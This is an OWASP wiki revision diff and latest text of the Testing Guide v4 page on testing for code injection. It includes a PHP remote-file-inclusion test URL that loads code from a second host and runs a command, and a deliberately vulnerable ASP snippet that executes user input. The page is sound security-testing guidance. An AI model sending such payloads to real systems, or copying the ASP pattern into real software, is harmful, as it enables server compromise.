Difference between revisions of "Testing for Code Injection (OWASP-DV-012)"

From OWASP
Jump to: navigation, search
(Black Box testing and example)
 
(16 intermediate revisions by 5 users not shown)
Line 1: Line 1:
 +
{{Template:OWASP Testing Guide v4}}
 +
 
== Brief Summary ==
 
== Brief Summary ==
 
   
 
   
This section describes how an attacker can enter code as input on a web page and have it executed by the web server.
+
This section describes how a tester can check if it is possible to enter code as input on a web page and have it executed by the web server. More information about Code Injection can be found [[Code Injection|here]].
  
 
== Description of the Issue ==
 
== Description of the Issue ==
 
   
 
   
Code Injection testing involve a tester submitting code as input that is processed by the web server as dynamic code or as in an included file.  These tests can target various server side scripting engines, i.e. ASP, PHP, etc. Proper validation and secure coding practices need to be employed to protect against these attacks.
+
In code injection testing, a tester submits input that is processed by the web server as dynamic code or as an included file.  These tests can target various server-side scripting engines, e.g.., ASP or PHP. Proper input validation and secure coding practices need to be employed to protect against these attacks.
  
 
== Black Box testing and example ==
 
== Black Box testing and example ==
Line 11: Line 13:
 
'''Testing for PHP Injection vulnerabilities:'''
 
'''Testing for PHP Injection vulnerabilities:'''
  
Using the querystring, the tester can inject code (in this example, a malicious url) to be processed as part of the included file:
+
Using the querystring, the tester can inject code (in this example, a malicious URL) to be processed as part of the included file:
  
 
  <nowiki>http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a</nowiki>
 
  <nowiki>http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a</nowiki>
Line 18: Line 20:
 
'''Result Expected:'''
 
'''Result Expected:'''
  
The malicious URL is accepted as a parameter for the PHP page, which will later use the value in an include file.
+
The malicious URL is accepted as a parameter for the PHP page, which will later use the value in an included file.
  
 
== Gray Box testing and example ==
 
== Gray Box testing and example ==
Line 24: Line 26:
 
'''Testing for ASP Code Injection vulnerabilities
 
'''Testing for ASP Code Injection vulnerabilities
  
Examining ASP code for user input used in execution functions, e.g. Can the user enter commands into the Data input field?  Here, the ASP code will save it to file and then execute it:
+
Examine ASP code for user input used in execution functions. Can the user enter commands into the Data input field?  Here, the ASP code will save the input to a file and then execute it:
  
 
  <%
 
  <%
Line 48: Line 50:
 
  End If
 
  End If
 
  %>)))
 
  %>)))
 
  
 
== References ==
 
== References ==
  
Security Focus
+
* Security Focus - http://www.securityfocus.com
 +
 
 +
* Insecure.org - http://www.insecure.org
  
Insecure.org
+
* Wikipedia - http://www.wikipedia.org
  
Wikipedia
+
* Reviewing Code for [[OS Injection]]
 +
<br>

Latest revision as of 09:52, 9 October 2012

This article is part of the new OWASP Testing Guide v4. 
At the moment the project is in the REVIEW phase.

Back to the OWASP Testing Guide v4 ToC: https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents Back to the OWASP Testing Guide Project: http://www.owasp.org/index.php/OWASP_Testing_Project

Contents


Brief Summary

This section describes how a tester can check if it is possible to enter code as input on a web page and have it executed by the web server. More information about Code Injection can be found here.

Description of the Issue

In code injection testing, a tester submits input that is processed by the web server as dynamic code or as an included file. These tests can target various server-side scripting engines, e.g.., ASP or PHP. Proper input validation and secure coding practices need to be employed to protect against these attacks.

Black Box testing and example

Testing for PHP Injection vulnerabilities:

Using the querystring, the tester can inject code (in this example, a malicious URL) to be processed as part of the included file:

http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a


Result Expected:

The malicious URL is accepted as a parameter for the PHP page, which will later use the value in an included file.

Gray Box testing and example

Testing for ASP Code Injection vulnerabilities

Examine ASP code for user input used in execution functions. Can the user enter commands into the Data input field? Here, the ASP code will save the input to a file and then execute it:

<%
If not isEmpty(Request( "Data" ) ) Then
Dim fso, f
'User input Data is written to a file named data.txt
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(Server.MapPath( "data.txt" ), 8, True)
f.Write Request("Data") & vbCrLf
f.close
Set f = nothing
Set fso = Nothing
'Data.txt is executed
Server.Execute( "data.txt" )
Else
%>
<form>
<input name="Data" /><input type="submit" name="Enter Data" />
</form>
<%
End If
%>)))

References